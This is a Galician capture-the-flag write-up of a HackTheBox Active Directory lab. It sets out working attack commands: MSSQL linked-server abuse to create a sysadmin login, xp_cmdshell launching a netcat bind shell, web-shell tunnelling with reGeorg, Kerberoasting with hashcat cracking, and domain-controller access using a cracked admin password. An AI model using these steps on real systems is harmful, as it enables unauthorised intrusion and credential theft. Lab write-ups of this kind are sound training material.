HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Neste artigo analizaremos o paso non só dunha máquina, senón de todo un mini-laboratorio do sitio HackTheBox.

Como se indica na descrición, POO está deseñado para probar as habilidades en todas as fases dos ataques nun pequeno ambiente de Active Directory. O obxectivo é comprometer un host accesible, aumentar os privilexios e, finalmente, comprometer todo o dominio mentres se recollen 5 marcas.

A conexión ao laboratorio realízase mediante VPN. Recoméndase non conectarse desde un ordenador de traballo nin desde un host onde haxa datos importantes para ti, xa que acabas nunha rede privada con xente que sabe algo no campo da seguridade da información :)

Información organizativa
Para axudarche a estar ao día dos novos artigos, software e outra información, creei Canle de telegrama и grupo para discutir calquera cuestión no campo de I&KB. Tamén as túas peticións, preguntas, suxestións e recomendacións persoais Vou analizalo persoalmente e responderei a todos..

Toda a información preséntase só con fins educativos. O autor deste documento non acepta ningunha responsabilidade polos danos causados ​​a ninguén como resultado do uso dos coñecementos e técnicas obtidos co estudo deste documento.

Intro

Este xogo final consta de dúas máquinas e contén 5 bandeiras.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Tamén se ofrece unha descrición e enderezo do servidor dispoñible.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Comecemos!

Bandeira de Recoñecemento

Esta máquina ten un enderezo IP de 10.13.38.11, que engado a /etc/hosts.
10.13.38.11 poo.htb

En primeiro lugar, analizamos os portos abertos. Dado que a exploración de todos os portos con nmap leva moito tempo, primeiro farei isto usando masscan. Analizamos todos os portos TCP e UDP desde a interface tun0 a unha velocidade de 500 paquetes por segundo.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Agora, para obter información máis detallada sobre os servizos que se executan nos portos, imos realizar unha exploración coa opción -A.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Polo tanto, temos servizos IIS e MSSQL. Neste caso, descubriremos o nome DNS real do dominio e do ordenador. No servidor web recibenos a páxina de inicio de IIS.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Imos ir polos directorios. Eu uso gobuster para iso. Nos parámetros indicamos o número de fíos 128 (-t), URL (-u), dicionario (-w) e extensións que nos interesan (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Isto ofrécenos unha autenticación HTTP para o directorio /admin, así como un ficheiro .DS_Store do servizo de escritorio accesible. .DS_Store son ficheiros que almacenan configuracións personalizadas para un cartafol, como unha lista de ficheiros, as localizacións das iconas e a imaxe de fondo seleccionada. Este ficheiro pode acabar no directorio do servidor web dos desenvolvedores web. Deste xeito obtemos información sobre os contidos do directorio. Para iso podes usar Explorador de DS_Store.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Recibimos o contido do directorio. O máis interesante aquí é o directorio /dev, desde o que podemos ver as fontes e os ficheiros db en dúas ramas. Pero podemos usar os primeiros 6 caracteres dos nomes de ficheiros e directorios se o servizo é vulnerable a IIS ShortName. Podes comprobar esta vulnerabilidade usando Escáner de nomes curtos de IIS.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

E atopamos un ficheiro de texto que comeza por "poo_co". Sen saber que facer a continuación, simplemente seleccionei todas as palabras que comezan por "co" do dicionario do directorio.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

E resolverémolo usando wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

E atopamos a palabra correcta! Observamos este ficheiro, gardamos as credenciais (a xulgar polo parámetro DBNAME, son de MSSQL).

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Entregamos a bandeira e adiantamos un 20%.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Ei bandeira

Conectamos a MSSQL, eu uso DBeaver.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Non atopamos nada interesante nesta base de datos, creemos un Editor SQL e comprobemos que usuarios hai.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Temos dous usuarios. Comprobamos os nosos privilexios.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Así, non hai privilexios. Vexamos os servidores vinculados, escribín sobre esta técnica en detalle aquí.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Así é como atopamos outro SQL Server. Imos probar a execución de comandos neste servidor usando openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

E ata podemos construír unha árbore de consultas.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

A cuestión é que cando facemos unha solicitude a un servidor ligado, a solicitude execútase no contexto doutro usuario. Vexamos no contexto de que usuario estamos a traballar nun servidor ligado.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Agora vexamos en que contexto se fai unha solicitude desde un servidor ligado ao noso!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Polo tanto, é o contexto DBO o que debería ter todos os privilexios. Imos comprobar os privilexios en caso de solicitude dun servidor ligado.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Como podes ver, temos todos os privilexios! Imos crear o noso propio administrador así. Pero non o permiten a través de openquery, imos facelo a través de EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

E agora conectamos coas credenciais do novo usuario, observamos a nova base de datos de bandeiras.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Entregamos esta bandeira e seguimos adiante.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Bandeira de retroceso

Imos conseguir un shell usando MSSQL, eu uso mssqlclient do paquete impacket.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Necesitamos conseguir contrasinais, e o primeiro que xa nos atopamos é un sitio web. Así, necesitamos unha configuración do servidor web (non é posible deixar un shell conveniente, ao parecer o firewall está en execución).

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Pero o acceso é denegado. Aínda que podemos ler o ficheiro desde MSSQL, só necesitamos saber cales son as linguaxes de programación configuradas. E no directorio MSSQL descubrimos que existe Python.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Entón non hai ningún problema para ler o ficheiro web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Coas credenciais atopadas, vai a /admin e toma a bandeira.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Bandeira do pé

De feito, hai algúns inconvenientes ao usar un cortalumes, pero mirando a configuración da rede, observamos que tamén se usa IPv6.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Imos engadir este enderezo a /etc/hosts.
dead:babe::1001 poo6.htb
Volvamos escanear o host, pero usando o protocolo IPv6.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

E o servizo WinRM está dispoñible a través de IPv6. Conectemos coas credenciais atopadas.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Hai unha bandeira no escritorio, entregámoslla.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Bandeira P00ned

Despois de realizar o recoñecemento do host usando guisantes Non atopamos nada especial. Entón decidiuse buscar de novo as credenciais (tamén escribín sobre este tema un artigo). Pero non puiden obter todos os SPN do sistema a través de WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Imos executar o comando a través de MSSQL.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Mediante este método, obtemos o SPN dos usuarios p00_hr e p00_adm, o que significa que son vulnerables a un ataque como Kerberoasting. En resumo, podemos obter os seus hash de contrasinais.

Primeiro cómpre obter un shell estable como usuario de MSSQL. Pero como temos un acceso limitado, temos comunicación co host só a través dos portos 80 e 1433. Pero é posible túnel de tráfico polo porto 80! Para iso utilizaremos a seguinte aplicación. Carguemos o ficheiro tunnel.aspx ao directorio de inicio do servidor web - C:inetpubwwwroot.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Pero cando tentamos acceder a el, aparece un erro 404. Isto significa que os ficheiros *.aspx non se executan. Para que se executen ficheiros con estas extensións, instale ASP.NET 4.5 do seguinte xeito.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

E agora, cando accedemos a tunnel.aspx, recibimos unha resposta de que todo está listo para funcionar.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Imos lanzar a parte cliente da aplicación, que transmitirá o tráfico. Reenviaremos todo o tráfico do porto 5432 ao servidor.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

E usamos cadeas proxy para enviar tráfico de calquera aplicación a través do noso proxy. Engademos este proxy ao ficheiro de configuración /etc/proxychains.conf.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Agora imos cargar o programa ao servidor netcat, co que faremos un shell de enlace estable e un script Invocar-Kerberoast, co que realizaremos un ataque Kerberoasting.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Agora lanzamos o escoita a través de MSSQL.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

E conectamos a través do noso proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

E imos conseguir os hash.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

A continuación, cómpre iterar sobre estes hash. Como o dicionario rockyou non contiña estes contrasinais, usei TODOS os dicionarios de contrasinais proporcionados en Seclists. Para a busca usamos hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

E atopamos ambos contrasinais, o primeiro no dicionario dutch_passwordlist.txt e o segundo en Keyboard-Combinations.txt.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

E así temos tres usuarios, imos ao controlador de dominio. Primeiro descubrimos o seu enderezo.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Xenial, descubrimos o enderezo IP do controlador de dominio. Descubrimos todos os usuarios do dominio, así como cal deles é administrador. Para descargar o script para obter información PowerView.ps1. Despois conectarémonos usando evil-winrm, especificando o directorio co script no parámetro -s. E despois cargaremos o script de PowerView.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Agora temos acceso a todas as súas funcións. O usuario p00_adm parece un usuario privilexiado, polo que traballaremos no seu contexto. Imos crear un obxecto PSCredential para este usuario.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Agora todos os comandos de Powershell onde especifiquemos Creds executaranse como p00_adm. Imos amosar unha lista de usuarios e o atributo AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

E así, o noso usuario é realmente privilexiado. A ver en que grupos está.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Finalmente confirmamos que o usuario é un administrador de dominio. Isto dálle dereito a iniciar sesión no controlador de dominio de forma remota. Tentemos iniciar sesión a través de WinRM usando o noso túnel. Quedei confuso polos erros producidos por reGeorg ao usar evil-winrm.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Entón usemos outro máis sinxelo, guión para conectarse a WinRM. Imos abrir e cambiar os parámetros de conexión.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Intentamos conectarnos, e estamos no sistema.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Pero non hai bandeira. Despois mira o usuario e mira os escritorios.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Atopamos a bandeira en mr3ks e o laboratorio está rematado ao 100%.

HackTheBoxendgame. Paso do laboratorio Operacións Ofensivas Profesionais. Pentest Active Directory

Iso é todo. Como comentario, comenta se aprendeches algo novo deste artigo e se che foi útil.

Podes unirte a nós en Telegrama. Alí podes atopar materiais interesantes, cursos filtrados, así como software. Imos reunir unha comunidade na que haberá persoas que entendan moitas áreas das TI, entón sempre podemos axudarnos uns a outros en calquera cuestión de TI e de seguridade da información.

Fonte: www.habr.com

Engadir un comentario